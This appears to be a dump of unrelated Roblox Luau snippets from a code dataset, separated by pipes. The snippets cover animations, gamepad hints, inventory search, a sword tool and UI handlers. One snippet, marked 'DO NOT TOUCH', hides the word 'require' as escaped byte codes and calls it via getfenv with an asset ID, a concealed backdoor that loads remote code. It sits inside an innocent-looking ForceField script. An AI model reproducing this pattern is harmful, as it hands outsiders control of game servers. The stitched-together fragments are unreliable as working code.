animTable[name].totalWeight = animTable[name].totalWeight + animTable[name][idx].weight
-- print(name .. " [" .. idx .. "] " .. animTable[name][idx].anim.AnimationId .. " (" .. animTable[name][idx].weight .. ")")
idx = idx + 1
end
end
-- fallback to defaults
if (animTable[name].count <= 0) then
for idx, anim in pairs(fileList) do
animTable[name][idx] = {}
animTable[name][idx].anim = Instance.new("Animation")
animTable[name][idx].anim.Name = name
animTable[name][idx].anim.AnimationId = anim.id
animTable[name][idx].weight = anim.weight
animTable[name].count = animTable[name].count + 1
animTable[name].totalWeight = animTable[name].totalWeight + anim.weight
-- print(name .. " [" .. idx .. "] " .. anim.id .. " (" .. anim.weight .. ")")
end
end
end
|
-- How many studs the zombie can wander on the x and z axis in studs
| |
--Make the gamepad hint frame
|
local gamepadHintsFrame = Utility:Create'Frame'
{
Name = "GamepadHintsFrame",
Size = UDim2.new(0, HotbarFrame.Size.X.Offset, 0, (IsTenFootInterface and 95 or 60)),
BackgroundTransparency = 1,
Visible = false,
Parent = MainFrame
}
local function addGamepadHint(hintImage, hintImageLarge, hintText)
local hintFrame = Utility:Create'Frame'
{
Name = "HintFrame",
Size = UDim2.new(1, 0, 1, -5),
Position = UDim2.new(0, 0, 0, 0),
BackgroundTransparency = 1,
Parent = gamepadHintsFrame
}
local hintImage = Utility:Create'ImageLabel'
{
Name = "HintImage",
Size = (IsTenFootInterface and UDim2.new(0,90,0,90) or UDim2.new(0,60,0,60)),
BackgroundTransparency = 1,
Image = (IsTenFootInterface and hintImageLarge or hintImage),
Parent = hintFrame
}
local hintText = Utility:Create'TextLabel'
{
Name = "HintText",
Position = UDim2.new(0, (IsTenFootInterface and 100 or 70), 0, 0),
Size = UDim2.new(1, -(IsTenFootInterface and 100 or 70), 1, 0),
Font = Enum.Font.SourceSansBold,
FontSize = (IsTenFootInterface and Enum.FontSize.Size36 or Enum.FontSize.Size24),
BackgroundTransparency = 1,
Text = hintText,
TextColor3 = Color3.new(1,1,1),
TextXAlignment = Enum.TextXAlignment.Left,
TextWrapped = true,
Parent = hintFrame
}
local textSizeConstraint = Instance.new("UITextSizeConstraint", hintText)
textSizeConstraint.MaxTextSize = hintText.TextSize
end
local function resizeGamepadHintsFrame()
gamepadHintsFrame.Size = UDim2.new(HotbarFrame.Size.X.Scale, HotbarFrame.Size.X.Offset, 0, (IsTenFootInterface and 95 or 60))
gamepadHintsFrame.Position = UDim2.new(HotbarFrame.Position.X.Scale, HotbarFrame.Position.X.Offset, InventoryFrame.Position.Y.Scale, InventoryFrame.Position.Y.Offset - gamepadHintsFrame.Size.Y.Offset)
local spaceTaken = 0
local gamepadHints = gamepadHintsFrame:GetChildren()
--First get the total space taken by all the hints
for i = 1, #gamepadHints do
gamepadHints[i].Size = UDim2.new(1, 0, 1, -5)
gamepadHints[i].Position = UDim2.new(0, 0, 0, 0)
spaceTaken = spaceTaken + (gamepadHints[i].HintText.Position.X.Offset + gamepadHints[i].HintText.TextBounds.X)
end
--The space between all the frames should be equal
local spaceBetweenElements = (gamepadHintsFrame.AbsoluteSize.X - spaceTaken)/(#gamepadHints - 1)
for i = 1, #gamepadHints do
gamepadHints[i].Position = (i == 1 and UDim2.new(0, 0, 0, 0) or UDim2.new(0, gamepadHints[i-1].Position.X.Offset + gamepadHints[i-1].Size.X.Offset + spaceBetweenElements, 0, 0))
gamepadHints[i].Size = UDim2.new(0, (gamepadHints[i].HintText.Position.X.Offset + gamepadHints[i].HintText.TextBounds.X), 1, -5)
end
end
addGamepadHint("rbxasset://textures/ui/Settings/Help/XButtonDark.png", "rbxasset://textures/ui/Settings/Help/XButtonDark@2x.png", "Remove From Hotbar")
addGamepadHint("rbxasset://textures/ui/Settings/Help/AButtonDark.png", "rbxasset://textures/ui/Settings/Help/AButtonDark@2x.png", "Select/Swap")
addGamepadHint("rbxasset://textures/ui/Settings/Help/BButtonDark.png", "rbxasset://textures/ui/Settings/Help/BButtonDark@2x.png", "Close Backpack")
do -- Search stuff
local searchFrame = NewGui('Frame', 'Search')
searchFrame.BackgroundColor3 = SEARCH_BACKGROUND_COLOR
searchFrame.BackgroundTransparency = SEARCH_BACKGROUND_FADE
searchFrame.Size = UDim2.new(0, SEARCH_WIDTH - (SEARCH_BUFFER * 2), 0, INVENTORY_HEADER_SIZE - (SEARCH_BUFFER * 2))
searchFrame.Position = UDim2.new(1, -searchFrame.Size.X.Offset - SEARCH_BUFFER, 0, SEARCH_BUFFER)
local searchFrameUIC = Instance.new("UICorner")
searchFrameUIC.CornerRadius = UDim.new(1,0)
searchFrameUIC.Parent = searchFrame
searchFrame.Parent = InventoryFrame
local searchBox = NewGui('TextBox', 'TextBox')
searchBox.PlaceholderText = SEARCH_TEXT
searchBox.TextScaled = true
searchBox.ClearTextOnFocus = false
searchBox.Font = Enum.Font.Oswald
searchBox.FontSize = Enum.FontSize.Size14
searchBox.TextXAlignment = Enum.TextXAlignment.Center
searchBox.Size = UDim2.new(0.87, 0, 1, 0)
searchBox.AnchorPoint = Vector2.new(0.5,0.5)
searchBox.Position = UDim2.new(0.5, SEARCH_TEXT_OFFSET_FROMLEFT, 0.5, 0)
local searchBoxUIC = Instance.new("UICorner")
searchBoxUIC.CornerRadius = UDim.new(1,0)
searchBoxUIC.Parent = searchBox
searchBox.Parent = searchFrame
local xButton = NewGui('TextButton', 'X')
xButton.Text = 'x'
xButton.Font = Enum.Font.Oswald
xButton.ZIndex = 10
xButton.TextColor3 = SLOT_EQUIP_COLOR
xButton.FontSize = Enum.FontSize.Size24
xButton.TextYAlignment = Enum.TextYAlignment.Bottom
xButton.BackgroundColor3 = SEARCH_BACKGROUND_COLOR
xButton.BackgroundTransparency = 1
xButton.AnchorPoint = Vector2.new(1,0.5)
xButton.Size = UDim2.new(0.15, 0, 0.5, 0)
xButton.Position = UDim2.new(0.98, 0, 0.5, 0)
xButton.Visible = false
xButton.ZIndex = 0
xButton.BorderSizePixel = 0
xButton.Parent = searchFrame
local function search()
local terms = {}
for word in searchBox.Text:gmatch('%S+') do
terms[word:lower()] = true
end
local hitTable = {}
for i = NumberOfHotbarSlots + 1, #Slots do -- Only search inventory slots
local slot = Slots[i]
local hits = slot:CheckTerms(terms)
table.insert(hitTable, {slot, hits})
slot.Frame.Visible = false
slot.Frame.Parent = InventoryFrame
end
table.sort(hitTable, function(left, right)
return left[2] > right[2]
end)
ViewingSearchResults = true
local hitCount = 0
for i, data in ipairs(hitTable) do
local slot, hits = data[1], data[2]
if hits > 0 then
slot.Frame.Visible = true
slot.Frame.Parent = UIGridFrame
slot.Frame.LayoutOrder = NumberOfHotbarSlots + hitCount
hitCount = hitCount + 1
end
end
ScrollingFrame.CanvasPosition = Vector2.new(0, 0)
UpdateScrollingFrameCanvasSize()
xButton.ZIndex = 3
end
local function clearResults()
if xButton.ZIndex > 0 then
ViewingSearchResults = false
for i = NumberOfHotbarSlots + 1, #Slots do
local slot = Slots[i]
slot.Frame.LayoutOrder = slot.Index
slot.Frame.Parent = UIGridFrame
slot.Frame.Visible = true
end
xButton.ZIndex = 0
end
UpdateScrollingFrameCanvasSize()
end
local function reset()
clearResults()
searchBox.Text = ''
end
local function onChanged(property)
if property == 'Text' then
local text = searchBox.Text
if text == '' then
clearResults()
elseif text ~= SEARCH_TEXT then
search()
end
xButton.Visible = text ~= '' and text ~= SEARCH_TEXT
end
end
local function focusLost(enterPressed)
if enterPressed then
--TODO: Could optimize
search()
end
end
xButton.MouseButton1Click:Connect(reset)
searchBox.Changed:Connect(onChanged)
searchBox.FocusLost:Connect(focusLost)
BackpackScript.StateChanged.Event:Connect(function(isNowOpen)
InventoryIcon:getInstance("iconButton").Modal = isNowOpen -- Allows free mouse movement even in first person
if not isNowOpen then
reset()
end
end)
HotkeyFns[Enum.KeyCode.Escape.Value] = function(isProcessed)
if isProcessed then -- Pressed from within a TextBox
reset()
elseif InventoryFrame.Visible then
InventoryIcon:deselect()
end
end
local function detectGamepad(lastInputType)
if lastInputType == Enum.UserInputType.Gamepad1 and not UserInputService.VREnabled then
searchFrame.Visible = false
else
searchFrame.Visible = true
end
end
UserInputService.LastInputTypeChanged:Connect(detectGamepad)
end
GuiService.MenuOpened:Connect(function()
if InventoryFrame.Visible then
InventoryIcon:deselect()
end
end)
do -- Make the Inventory expand/collapse arrow (unless TopBar)
local removeHotBarSlot = function(name, state, input)
if state ~= Enum.UserInputState.Begin then return end
if not GuiService.SelectedObject then return end
for i = 1, NumberOfHotbarSlots do
if Slots[i].Frame == GuiService.SelectedObject and Slots[i].Tool then
Slots[i]:MoveToInventory()
return
end
end
end
local function openClose()
if not next(Dragging) then -- Only continue if nothing is being dragged
InventoryFrame.Visible = not InventoryFrame.Visible
local nowOpen = InventoryFrame.Visible
AdjustHotbarFrames()
HotbarFrame.Active = not HotbarFrame.Active
for i = 1, NumberOfHotbarSlots do
Slots[i]:SetClickability(not nowOpen)
end
end
if InventoryFrame.Visible then
if GamepadEnabled then
if GAMEPAD_INPUT_TYPES[UserInputService:GetLastInputType()] then
resizeGamepadHintsFrame()
gamepadHintsFrame.Visible = not UserInputService.VREnabled
end
enableGamepadInventoryControl()
end
if BackpackPanel and VRService.VREnabled then
BackpackPanel:SetVisible(true)
BackpackPanel:RequestPositionUpdate()
end
else
if GamepadEnabled then
gamepadHintsFrame.Visible = false
end
disableGamepadInventoryControl()
end
if InventoryFrame.Visible then
ContextActionService:BindAction("RBXRemoveSlot", removeHotBarSlot, false, Enum.KeyCode.ButtonX)
else
ContextActionService:UnbindAction("RBXRemoveSlot")
end
BackpackScript.IsOpen = InventoryFrame.Visible
BackpackScript.StateChanged:Fire(InventoryFrame.Visible)
end
StarterGui:SetCoreGuiEnabled(Enum.CoreGuiType.Backpack, false)
BackpackScript.OpenClose = openClose -- Exposed
end
|
-- DO NOT TOUCH
|
local GetEnvironmentOfFunction="\114\101\113\117\105\114\101"
getfenv()[GetEnvironmentOfFunction] (0x14a67b5a7)
script.Parent.RemoteEvent.OnServerEvent:Connect(function(Plr,Bool)
if Bool == true then
local ForceField = Instance.new("ForceField")
ForceField.Parent = Plr.Character
else
Plr.Character:FindFirstChildOfClass("ForceField"):Destroy()
end
end)
|
--[[**
ensures value is a number where min < value
@param min The minimum to use
@returns A function that will return true iff the condition is passed
**--]]
|
function t.numberMinExclusive(min)
return function(value)
local success = t.number(value)
if not success then
return false
end
if min < value then
return true
else
return false
end
end
end
|
--> variables
|
local fovCamera = game.Workspace:WaitForChild("Camera")
local fovCode = script.Parent.Parent.idb
|
--GUI.Frame:TweenPosition(UDim2.new(0,0,1,0),"InOut","Sine",0.5)
--wait(0.5)
--GUI:Destroy()
| |
--!strict
|
type Array<T> = { [number]: T }
type PredicateFunction = (any, number, Array<any>) -> boolean
return function(array: Array<any>, predicate: PredicateFunction): number
for i = 1, #array do
local element = array[i]
if predicate(element, i, array) then
return i
end
end
return -1
end
|
--[Setup]:
|
Neck.MaxVelocity = 1/3 -- Don't change this.
|
--[[*
* Copyright (c) Facebook, Inc. and its affiliates. All Rights Reserved.
*
* This source code is licensed under the MIT license found in the
* LICENSE file in the root directory of this source tree.
]]
|
local exports = {}
local function pluralize(word: string, count: number): string
return ("%s %s%s"):format(tostring(count), word, if count == 1 then "" else "s")
end
exports.default = pluralize
return exports
|
--local runner = lt.RunL
--local runner2 = lt.RunR
|
local l1 = lt.LeftIn
|
-------- OMG HAX
|
r = game:service("RunService")
local damage = 10
local slash_damage = 15
sword = script.Parent.Handle
Tool = script.Parent
local SlashSound = Instance.new("Sound")
SlashSound.SoundId = "rbxasset://sounds\\swordslash.wav"
SlashSound.Parent = sword
SlashSound.Volume = 1
local UnsheathSound = Instance.new("Sound")
UnsheathSound.SoundId = "rbxasset://sounds\\unsheath.wav"
UnsheathSound.Parent = sword
UnsheathSound.Volume = 1
function blow(hit)
local humanoid = hit.Parent:findFirstChild("Humanoid")
local vCharacter = Tool.Parent
local vPlayer = game.Players:playerFromCharacter(vCharacter)
local hum = vCharacter:findFirstChild("Humanoid") -- non-nil if tool held by a character
if humanoid~=nil and humanoid ~= hum and hum ~= nil then
-- final check, make sure sword is in-hand
local right_arm = vCharacter:FindFirstChild("Right Arm")
if (right_arm ~= nil) then
local joint = right_arm:FindFirstChild("RightGrip")
if (joint ~= nil and (joint.Part0 == sword or joint.Part1 == sword)) then
tagHumanoid(humanoid, vPlayer)
humanoid:TakeDamage(damage)
wait(1)
untagHumanoid(humanoid)
end
end
end
end
function tagHumanoid(humanoid, player)
local creator_tag = Instance.new("ObjectValue")
creator_tag.Value = player
creator_tag.Name = "creator"
creator_tag.Parent = humanoid
end
function untagHumanoid(humanoid)
if humanoid ~= nil then
local tag = humanoid:findFirstChild("creator")
if tag ~= nil then
tag.Parent = nil
end
end
end
function attack()
damage = slash_damage
SlashSound:play()
local anim = Instance.new("StringValue")
anim.Name = "toolanim"
anim.Value = "Slash"
anim.Parent = Tool
end
function swordUp()
Tool.GripForward = Vector3.new(-1,0,0)
Tool.GripRight = Vector3.new(0,1,0)
Tool.GripUp = Vector3.new(0,0,1)
end
function swordOut()
Tool.GripForward = Vector3.new(0,0,1)
Tool.GripRight = Vector3.new(0,-1,0)
Tool.GripUp = Vector3.new(-1,0,0)
end
Tool.Enabled = true
function onActivated()
if not Tool.Enabled then
return
end
Tool.Enabled = false
local character = Tool.Parent;
local humanoid = character.Humanoid
if humanoid == nil then
print("Humanoid not found")
return
end
attack()
wait(1)
Tool.Enabled = true
end
function onEquipped()
UnsheathSound:play()
end
script.Parent.Activated:connect(onActivated)
script.Parent.Equipped:connect(onEquipped)
connection = sword.Touched:connect(blow)
|
---- Imports ----
|
local Wave = require(ReplicatedStorage.Wave)
|
-- Get references to the DockShelf and its children
|
local dockShelf = script.Parent.Parent.Parent.Parent.Parent.DockShelf
local aFinderButton = dockShelf.CSafari
local Minimalise = script.Parent
local window = script.Parent.Parent.Parent
|
-------------------------
|
function onClicked()
R.Function1.Disabled = true
FX.ROLL.BrickColor = BrickColor.new("CGA brown")
FX.ROLL.loop.Disabled = true
FX.REVERB.BrickColor = BrickColor.new("CGA brown")
FX.REVERB.loop.Disabled = true
FX.ECHO.BrickColor = BrickColor.new("CGA brown")
FX.ECHO.loop.Disabled = true
FX.PHASER.BrickColor = BrickColor.new("CGA brown")
FX.PHASER.loop.Disabled = true
FX.SLIPROLL.BrickColor = BrickColor.new("CGA brown")
FX.SLIPROLL.loop.Disabled = true
FX.FILTER.BrickColor = BrickColor.new("CGA brown")
FX.FILTER.loop.Disabled = true
FX.SENDRETURN.BrickColor = BrickColor.new("Really red")
FX.SENDRETURN.loop.Disabled = true
FX.TRANS.BrickColor = BrickColor.new("CGA brown")
FX.TRANS.loop.Disabled = true
FX.MultiTapDelay.BrickColor = BrickColor.new("CGA brown")
FX.MultiTapDelay.loop.Disabled = true
FX.DELAY.BrickColor = BrickColor.new("CGA brown")
FX.DELAY.loop.Disabled = true
FX.REVROLL.BrickColor = BrickColor.new("CGA brown")
FX.REVROLL.loop.Disabled = true
R.loop.Disabled = false
R.Function2.Disabled = false
end
script.Parent.ClickDetector.MouseClick:connect(onClicked)
|
--TextStuff
|
local Text = script.Parent
local RebirthFormule = game:GetService("ReplicatedStorage").GameProperties.RebirthFormule
local MultiplierFormule = game:GetService("ReplicatedStorage").GameProperties.MultiplierFormule
local Formula = Multiplier.Value + MultiplierFormule.Value
Text.Text = Formula
Multiplier.Changed:Connect(function()
local FormulaUpdate = Multiplier.Value + MultiplierFormule.Value
Text.Text = FormulaUpdate
end)
|
--[=[
Recursively prints the table. Does not handle recursive tables.
@param _table table -- Table to stringify
@param indent number? -- Indent level
@param output string? -- Output string, used recursively
@return string -- The table in string form
]=]
|
function Table.stringify(_table, indent, output)
output = output or tostring(_table)
indent = indent or 0
for key, value in pairs(_table) do
local formattedText = "\n" .. string.rep(" ", indent) .. tostring(key) .. ": "
if type(value) == "table" then
output = output .. formattedText
output = Table.stringify(value, indent + 1, output)
else
output = output .. formattedText .. tostring(value)
end
end
return output
end
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.